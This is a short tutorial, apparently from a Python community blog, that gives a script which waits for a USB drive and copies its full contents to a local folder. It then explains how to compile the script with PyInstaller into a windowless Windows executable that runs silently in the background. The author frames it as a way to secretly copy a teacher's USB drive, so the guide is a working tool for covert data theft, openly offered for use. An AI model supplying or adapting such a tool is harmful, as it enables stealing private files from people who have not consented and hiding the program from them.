Copy USB Drive Contents with Python and Package as an Executable
This tutorial demonstrates how to write a short Python script that continuously monitors for a USB drive, automatically copies its contents to a specified folder, and then shows how to package the script into a standalone Windows executable using PyInstaller with various options.
When the author was a university student, they imagined a program that could silently copy a teacher's USB drive and finally implemented it with just a few lines of Python code. The solution consists of two steps: writing the Python script and converting the .py file into an .exe that can run in the background on Windows.
Python script
# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
# USB drive letter
usb_path = "E:/"
# Destination folder
save_path = "D:/haha"
while True:
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(10)The script checks whether the specified USB drive (e.g., E:/ ) exists; if it does, it copies the entire drive to a timestamped folder under the destination path and then stops. If the drive is not present, the script sleeps for 10 seconds before checking again.
Packaging the Python file into an exe
1. Install PyInstaller via pip:
pip install pyinstaller2. Install the required Windows extension pywin32 that matches your Python version and architecture (e.g., pywin32-223.win32-py3.6.exe for 32‑bit Python 3.6 or pywin32-223.win-amd64-py3.6.exe for 64‑bit).
3. Run PyInstaller with the desired options. The basic command is:
pyinstaller [opts] yourprogram.pyCommon options include:
-F Create a single executable file.
-D Create a directory with the executable and its dependencies (default).
-c Console mode (default).
-w Windowed mode (no console).
-p Add a search path for additional libraries.
-i Specify an icon for the generated executable.
Example commands:
pyinstaller -F D:\project\test.pyCreates a single exe file.
pyinstaller -F -w D:\project\test.pyCreates a windowless executable.
pyinstaller -F -w -i D:\project\test.ico D:\project\test.pyCreates a windowless executable with a custom icon.
Running the program
After building, double‑click the generated exe. It runs silently in the background (visible only in the task manager). When a USB drive is inserted, the program automatically copies its contents to the predefined location and then exits.
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.